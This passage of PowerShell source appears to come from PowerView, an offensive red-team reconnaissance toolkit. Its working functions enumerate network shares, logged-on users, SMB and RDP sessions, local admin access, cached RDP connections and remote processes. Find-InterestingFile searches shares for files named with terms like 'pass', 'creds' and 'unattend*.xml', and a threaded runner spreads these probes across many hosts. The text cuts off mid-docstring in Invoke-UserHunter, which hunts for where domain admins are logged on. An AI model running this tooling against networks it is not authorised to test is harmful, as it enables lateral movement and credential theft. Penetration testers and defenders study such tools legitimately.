begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # arguments for NetShareEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the share information + $Result = $Netapi32::NetShareEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + Write-Debug "Get-NetShare result: $Result" + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $SHARE_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SHARE_INFO_1 + # return all the sections of the structure + $Info | Select-Object * + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} + } + } + } +} + + +function Get-NetLoggedon { +<# + .SYNOPSIS + + This function will execute the NetWkstaUserEnum Win32API call to query + a given host for actively logged on users. + + .PARAMETER ComputerName + + The hostname to query for logged on users. + + .OUTPUTS + + WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1 + result structure which includes the username and domain of logged on users. + + .EXAMPLE + + PS C:\> Get-NetLoggedon + + Returns users actively logged onto the local host. + + .EXAMPLE + + PS C:\> Get-NetLoggedon -ComputerName sqlserver + + Returns users actively logged onto the 'sqlserver' host. + + .LINK + + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # Declare the reference variables + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get logged on user information + $Result = $Netapi32::NetWkstaUserEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + Write-Debug "Get-NetLoggedon result: $Result" + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $WKSTA_USER_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 + + # return all the sections of the structure + $Info | Select-Object * + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} + } + } + } +} + + +function Get-NetSession { +<# + .SYNOPSIS + + This function will execute the NetSessionEnum Win32API call to query + a given host for active sessions on the host. + Heavily adapted from dunedinite's post on stackoverflow (see LINK below) + + .PARAMETER ComputerName + + The ComputerName to query for active sessions. + + .PARAMETER UserName + + The user name to filter for active sessions. + + .OUTPUTS + + SESSION_INFO_10 structure. A representation of the SESSION_INFO_10 + result structure which includes the host and username associated + with active sessions. + + .EXAMPLE + + PS C:\> Get-NetSession + + Returns active sessions on the local host. + + .EXAMPLE + + PS C:\> Get-NetSession -ComputerName sqlserver + + Returns active sessions on the 'sqlserver' host. + + .LINK + + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost', + + [String] + $UserName = '' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # arguments for NetSessionEnum + $QueryLevel = 10 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get session information + $Result = $Netapi32::NetSessionEnum($ComputerName, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + Write-Debug "Get-NetSession result: $Result" + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $SESSION_INFO_10::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SESSION_INFO_10 + + # return all the sections of the structure + $Info | Select-Object * + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} + } + } + } +} + + +function Get-NetRDPSession { +<# + .SYNOPSIS + + This function will execute the WTSEnumerateSessionsEx and + WTSQuerySessionInformation Win32API calls to query a given + RDP remote service for active sessions and originating IPs. + This is a replacement for qwinsta. + + Note: only members of the Administrators or Account Operators local group + can successfully execute this functionality on a remote target. + + .PARAMETER ComputerName + + The hostname to query for active RDP sessions. + + .EXAMPLE + + PS C:\> Get-NetRDPSession + + Returns active RDP/terminal sessions on the local host. + + .EXAMPLE + + PS C:\> Get-NetRDPSession -ComputerName "sqlserver" + + Returns active RDP/terminal sessions on the 'sqlserver' host. +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # open up a handle to the Remote Desktop Session host + $Handle = $Wtsapi32::WTSOpenServerEx($ComputerName) + + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + + Write-Debug "WTSOpenServerEx handle: $Handle" + + # arguments for WTSEnumerateSessionsEx + $ppSessionInfo = [IntPtr]::Zero + $pCount = 0 + + # get information on all current sessions + $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount) + + # Locate the offset of the initial intPtr + $Offset = $ppSessionInfo.ToInt64() + + Write-Debug "WTSEnumerateSessionsEx result: $Result" + Write-Debug "pCount: $pCount" + + if (($Result -ne 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $WTS_SESSION_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $pCount); $i++) { + + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 + + $RDPSession = New-Object PSObject + + if ($Info.pHostName) { + $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName + } + else { + # if no hostname returned, use the specified hostname + $RDPSession | Add-Member Noteproperty 'ComputerName' $ComputerName + } + + $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName + + if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { + # if a domain isn't returned just use the username + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" + } + else { + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" + } + + $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID + $RDPSession | Add-Member Noteproperty 'State' $Info.State + + $ppBuffer = [IntPtr]::Zero + $pBytesReturned = 0 + + # query for the source client IP with WTSQuerySessionInformation + # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx + $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned) + + $Offset2 = $ppBuffer.ToInt64() + $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 + $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS + + $SourceIP = $Info2.Address + if($SourceIP[2] -ne 0) { + $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] + } + else { + $SourceIP = $Null + } + + $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP + $RDPSession + + # free up the memory buffer + $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) + + $Offset += $Increment + } + # free up the memory result buffer + $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) + } + # Close off the service handle + $Null = $Wtsapi32::WTSCloseServer($Handle) + } + else { + # otherwise it failed - get the last error + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Verbuse "LastError: $Err" + } + } +} + + +function Invoke-CheckLocalAdminAccess { +<# + .SYNOPSIS + + This function will use the OpenSCManagerW Win32API call to to establish + a handle to the remote host. If this succeeds, the current user context + has local administrator acess to the target. + + Idea stolen from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' + + .PARAMETER ComputerName + + The hostname to query for active sessions. + + .OUTPUTS + + $True if the current user has local admin access to the hostname, $False otherwise + + .EXAMPLE + + PS C:\> Invoke-CheckLocalAdminAccess -ComputerName sqlserver + + Returns active sessions on the local host. + + .LINK + + https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + [Alias('HostName')] + $ComputerName = 'localhost' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # 0xF003F - SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + $Handle = $Advapi32::OpenSCManagerW("\\$ComputerName", 'ServicesActive', 0xF003F) + + Write-Debug "Invoke-CheckLocalAdminAccess handle: $Handle" + + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + # Close off the service handle + $Null = $Advapi32::CloseServiceHandle($Handle) + $True + } + else { + # otherwise it failed - get the last error + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Debug "Invoke-CheckLocalAdminAccess LastError: $Err" + $False + } + } +} + + +function Get-LastLoggedOn { +<# + .SYNOPSIS + + This function uses remote registry functionality to return + the last user logged onto a target machine. + + Note: This function requires administrative rights on the + machine you're enumerating. + + .PARAMETER ComputerName + + The hostname to query for the last logged on user. + Defaults to the localhost. + + .EXAMPLE + + PS C:\> Get-LastLoggedOn + + Returns the last user logged onto the local machine. + + .EXAMPLE + + PS C:\> Get-LastLoggedOn -ComputerName WINDOWS1 + + Returns the last user logged onto WINDOWS1 +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + [Alias('HostName')] + $ComputerName = "." + ) + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # try to open up the remote registry key to grab the last logged on user + try { + $Reg = [WMIClass]"\\$ComputerName\root\default:stdRegProv" + $HKLM = 2147483650 + $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" + $Value = "LastLoggedOnUser" + $Reg.GetStringValue($HKLM, $Key, $Value).sValue + } + catch { + Write-Warning "[!] Error opening remote registry on $ComputerName. Remote registry likely not enabled." + $Null + } + } +} + + +function Get-CachedRDPConnection { +<# + .SYNOPSIS + + Uses remote registry functionality to query all entries for the + "Windows Remote Desktop Connection Client" on a machine, separated by + user and target server. + + Note: This function requires administrative rights on the + machine you're enumerating. + + .PARAMETER ComputerName + + The hostname to query for RDP client information. + Defaults to localhost. + + .PARAMETER RemoteUserName + + The "domain\username" to use for the WMI call on the remote system. + If supplied, 'RemotePassword' must be supplied as well. + + .PARAMETER RemotePassword + + The password to use for the WMI call on a remote system. + + .EXAMPLE + + PS C:\> Get-CachedRDPConnection + + Returns the RDP connection client information for the local machine. + + .EXAMPLE + + PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local + + Returns the RDP connection client information for the WINDOWS2.testlab.local machine + + .EXAMPLE + + PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -RemoteUserName DOMAIN\user -RemotePassword Password123! + + Returns the RDP connection client information for the WINDOWS2.testlab.local machine using alternate credentials. +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $ComputerName = "localhost", + + [String] + $RemoteUserName, + + [String] + $RemotePassword + ) + + begin { + if ($RemoteUserName -and $RemotePassword) { + $Password = $RemotePassword | ConvertTo-SecureString -AsPlainText -Force + $Credential = New-Object System.Management.Automation.PSCredential($RemoteUserName,$Password) + } + + # HKEY_USERS + $HKU = 2147483651 + } + + process { + + try { + if($Credential) { + $Reg = Get-Wmiobject -List 'StdRegProv' -Namespace root\default -Computername $ComputerName -Credential $Credential -ErrorAction SilentlyContinue + } + else { + $Reg = Get-Wmiobject -List 'StdRegProv' -Namespace root\default -Computername $ComputerName -ErrorAction SilentlyContinue + } + } + catch { + Write-Warning "Error accessing $ComputerName, likely insufficient permissions or firewall rules on host" + } + + if(!$Reg) { + Write-Warning "Error accessing $ComputerName, likely insufficient permissions or firewall rules on host" + } + else { + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + + foreach ($UserSID in $UserSIDs) { + + try { + $UserName = Convert-SidToName $UserSID + + # pull out all the cached RDP connections + $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames + + foreach ($Connection in $ConnectionKeys) { + # make sure this key is a cached connection + if($Connection -match 'MRU.*') { + $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue + + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null + $FoundConnection + } + } + + # pull out all the cached server info with username hints + $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames + + foreach ($Server in $ServerKeys) { + + $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue + + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint + $FoundConnection + } + + } + catch { + Write-Debug "Error: $_" + } + } + } + } +} + + +function Get-NetProcess { +<# + .SYNOPSIS + + Gets a list of processes/owners on a remote machine. + + .PARAMETER ComputerName + + The hostname to query processes. Defaults to the local host name. + + .PARAMETER RemoteUserName + + The "domain\username" to use for the WMI call on a remote system. + If supplied, 'RemotePassword' must be supplied as well. + + .PARAMETER RemotePassword + + The password to use for the WMI call on a remote system. + + .EXAMPLE + + PS C:\> Get-NetProcess -ComputerName WINDOWS1 + + Returns the current processes for WINDOWS1 +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $ComputerName, + + [String] + $RemoteUserName, + + [String] + $RemotePassword + ) + + process { + + if($ComputerName) { + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + } + else { + # default to the local hostname + $ComputerName = [System.Net.Dns]::GetHostName() + } + + $Credential = $Null + + if($RemoteUserName) { + if($RemotePassword) { + $Password = $RemotePassword | ConvertTo-SecureString -AsPlainText -Force + $Credential = New-Object System.Management.Automation.PSCredential($RemoteUserName,$Password) + + # try to enumerate the processes on the remote machine using the supplied credential + try { + Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential | ForEach-Object { + $Owner = $_.getowner(); + $Process = New-Object PSObject + $Process | Add-Member Noteproperty 'ComputerName' $ComputerName + $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName + $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID + $Process | Add-Member Noteproperty 'Domain' $Owner.Domain + $Process | Add-Member Noteproperty 'User' $Owner.User + $Process + } + } + catch { + Write-Verbose "[!] Error enumerating remote processes, access likely denied: $_" + } + } + else { + Write-Warning "[!] RemotePassword must also be supplied!" + } + } + else { + # try to enumerate the processes on the remote machine + try { + Get-WMIobject -Class Win32_process -ComputerName $ComputerName | ForEach-Object { + $Owner = $_.getowner(); + $Process = New-Object PSObject + $Process | Add-Member Noteproperty 'ComputerName' $ComputerName + $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName + $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID + $Process | Add-Member Noteproperty 'Domain' $Owner.Domain + $Process | Add-Member Noteproperty 'User' $Owner.User + $Process + } + } + catch { + Write-Verbose "[!] Error enumerating remote processes, access likely denied: $_" + } + } + } +} + + +function Find-InterestingFile { +<# + .SYNOPSIS + + This function recursively searches a given UNC path for files with + specific keywords in the name (default of pass, sensitive, secret, admin, + login and unattend*.xml). The output can be piped out to a csv with the + -OutFile flag. By default, hidden files/folders are included in search results. + + .PARAMETER Path + + UNC/local path to recursively search. + + .PARAMETER Terms + + Terms to search for. + + .PARAMETER OfficeDocs + + Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) + + .PARAMETER FreshEXEs + + Switch. Find .EXEs accessed within the last week. + + .PARAMETER LastAccessTime + + Only return files with a LastAccessTime greater than this date value. + + .PARAMETER LastWriteTime + + Only return files with a LastWriteTime greater than this date value. + + .PARAMETER CreationTime + + Only return files with a CreationTime greater than this date value. + + .PARAMETER ExcludeFolders + + Switch. Exclude folders from the search results. + + .PARAMETER ExcludeHidden + + Switch. Exclude hidden files and folders from the search results. + + .PARAMETER CheckWriteAccess + + Switch. Only returns files the current user has write access to. + + .PARAMETER OutFile + + Output results to a specified csv output file. + + .PARAMETER UsePSDrive + + Switch. Mount target remote path with temporary PSDrives. + + .PARAMETER Credential + + Credential to use to mount the PSDrive for searching. + + .OUTPUTS + + The full path, owner, lastaccess time, lastwrite time, and size for each found file. + + .EXAMPLE + + PS C:\> Find-InterestingFile -Path C:\Backup\ + + Returns any files on the local path C:\Backup\ that have the default + search term set in the title. + + .EXAMPLE + + PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv + + Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries' + or 'email' in the title, and writes the results out to a csv file + named 'out.csv' + + .EXAMPLE + + PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -LastAccessTime (Get-Date).AddDays(-7) + + Returns any files on the remote path \\WINDOWS7\Users\ that have the default + search term set in the title and were accessed within the last week. + + .LINK + + http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Path = '.\', + + [String[]] + $Terms, + + [Switch] + $OfficeDocs, + + [Switch] + $FreshEXEs, + + [String] + $LastAccessTime, + + [String] + $LastWriteTime, + + [String] + $CreationTime, + + [Switch] + $ExcludeFolders, + + [Switch] + $ExcludeHidden, + + [Switch] + $CheckWriteAccess, + + [String] + $OutFile, + + [Switch] + $UsePSDrive, + + [System.Management.Automation.PSCredential] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + begin { + # default search terms + $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config') + + if(!$Path.EndsWith('\')) { + $Path = $Path + '\' + } + if($Credential -ne [System.Management.Automation.PSCredential]::Empty) { $UsePSDrive = $True } + + # check if custom search terms were passed + if ($Terms) { + if($Terms -isnot [system.array]) { + $Terms = @($Terms) + } + $SearchTerms = $Terms + } + + if(-not $SearchTerms[0].startswith("*")) { + # append wildcards to the front and back of all search terms + for ($i = 0; $i -lt $SearchTerms.Count; $i++) { + $SearchTerms[$i] = "*$($SearchTerms[$i])*" + } + } + + # search just for office documents if specified + if ($OfficeDocs) { + $SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') + } + + # find .exe's accessed within the last 7 days + if($FreshEXEs) { + # get an access time limit of 7 days ago + $LastAccessTime = (get-date).AddDays(-7).ToString('MM/dd/yyyy') + $SearchTerms = '*.exe' + } + + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $Path.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' + + Write-Verbose "Mounting path $Path using a temp PSDrive at $RandDrive" + + try { + $Null = New-PSDrive -Name $RandDrive -Credential $Credential -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + catch { + Write-Debug "Error mounting path $Path : $_" + return $Null + } + + # so we can cd/dir the new drive + $Path = $RandDrive + ":\" + $FilePath + } + } + + process { + + Write-Verbose "[*] Search path $Path" + + function Invoke-CheckWrite { + # short helper to check is the current user can write to a file + [CmdletBinding()]param([String]$Path) + try { + $Filetest = [IO.FILE]::OpenWrite($Path) + $Filetest.Close() + $True + } + catch { + Write-Verbose -Message $Error[0] + $False + } + } + + $SearchArgs = @{ + 'Path' = $Path + 'Recurse' = $True + 'Force' = $(-not $ExcludeHidden) + 'Include' = $SearchTerms + 'ErrorAction' = 'SilentlyContinue' + } + + Get-ChildItem @SearchArgs | ForEach-Object { + Write-Verbose $_ + # check if we're excluding folders + if(!$ExcludeFolders -or !$_.PSIsContainer) {$_} + } | ForEach-Object { + if($LastAccessTime -or $LastWriteTime -or $CreationTime) { + if($LastAccessTime -and ($_.LastAccessTime -gt $LastAccessTime)) {$_} + elseif($LastWriteTime -and ($_.LastWriteTime -gt $LastWriteTime)) {$_} + elseif($CreationTime -and ($_.CreationTime -gt $CreationTime)) {$_} + } + else {$_} + } | ForEach-Object { + # filter for write access (if applicable) + if((-not $CheckWriteAccess) -or (Invoke-CheckWrite -Path $_.FullName)) {$_} + } | Select-Object FullName,@{Name='Owner';Expression={(Get-Acl $_.FullName).Owner}},LastAccessTime,LastWriteTime,CreationTime,Length | ForEach-Object { + # check if we're outputting to the pipeline or an output file + if($OutFile) {Export-PowerViewCSV -InputObject $_ -OutFile $OutFile} + else {$_} + } + } + + end { + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + } + } +} + + +######################################################## +# +# 'Meta'-functions start below +# +######################################################## + +function Invoke-ThreadedFunction { + # Helper used by any threaded host enumeration functions + [CmdletBinding()] + param( + [Parameter(Position=0,Mandatory=$True)] + [String[]] + $ComputerName, + + [Parameter(Position=1,Mandatory=$True)] + [System.Management.Automation.ScriptBlock] + $ScriptBlock, + + [Parameter(Position=2)] + [Hashtable] + $ScriptParameters, + + [Int] + $Threads = 20, + + [Switch] + $NoImports + ) + + begin { + + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + Write-Verbose "[*] Total number of hosts: $($ComputerName.count)" + + # Adapted from: + # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ + $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + + # import the current session state's variables and functions so the chained PowerView + # functionality can be used by the threaded blocks + if(!$NoImports) { + + # grab all the current variables for this runspace + $MyVars = Get-Variable -Scope 2 + + # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice + $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") + + # Add Variables from Parent Scope (current runspace) into the InitialSessionState + ForEach($Var in $MyVars) { + if($VorbiddenVars -NotContains $Var.Name) { + $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) + } + } + + # Add Functions from current runspace to the InitialSessionState + ForEach($Function in (Get-ChildItem Function:)) { + $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) + } + } + + # threading adapted from + # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 + # Thanks Carlos! + + # create a pool of maxThread runspaces + $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) + $Pool.Open() + + $Jobs = @() + $PS = @() + $Wait = @() + + $Counter = 0 + } + + process { + + ForEach ($Computer in $ComputerName) { + + # make sure we get a server name + if ($Computer -ne '') { + # Write-Verbose "[*] Enumerating server $Computer ($($Counter+1) of $($ComputerName.count))" + + While ($($Pool.GetAvailableRunspaces()) -le 0) { + Start-Sleep -MilliSeconds 500 + } + + # create a "powershell pipeline runner" + $PS += [powershell]::create() + + $PS[$Counter].runspacepool = $Pool + + # add the script block + arguments + $Null = $PS[$Counter].AddScript($ScriptBlock).AddParameter('ComputerName', $Computer) + if($ScriptParameters) { + ForEach ($Param in $ScriptParameters.GetEnumerator()) { + $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value) + } + } + + # start job + $Jobs += $PS[$Counter].BeginInvoke(); + + # store wait handles for WaitForAll call + $Wait += $Jobs[$Counter].AsyncWaitHandle + } + $Counter = $Counter + 1 + } + } + + end { + + Write-Verbose "Waiting for scanning threads to finish..." + + $WaitTimeout = Get-Date + + # set a 60 second timeout for the scanning threads + while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -or $($($(Get-Date) - $WaitTimeout).totalSeconds) -gt 60) { + Start-Sleep -MilliSeconds 500 + } + + # end async call + for ($y = 0; $y -lt $Counter; $y++) { + + try { + # complete async job + $PS[$y].EndInvoke($Jobs[$y]) + + } catch { + Write-Warning "error: $_" + } + finally { + $PS[$y].Dispose() + } + } + + $Pool.Dispose() + Write-Verbose "All threads completed!" + } +} + + +function Invoke-UserHunter { +<# + .SYNOPSIS + + Finds which machines users of a specified group are logged into. + + Author: @harmj0y + License: BSD 3-Clause + + .DESCRIPTION + + This function finds the local domain name for a host using Get-NetDomain, + queries the domain for users of a specified group (default "domain admins") + with Get-NetGroupMember or reads in a target user list, queries the domain for all + active machines with Get-NetComputer or reads in a pre-populated host list, + randomly shuffles the target list, then for each server it gets 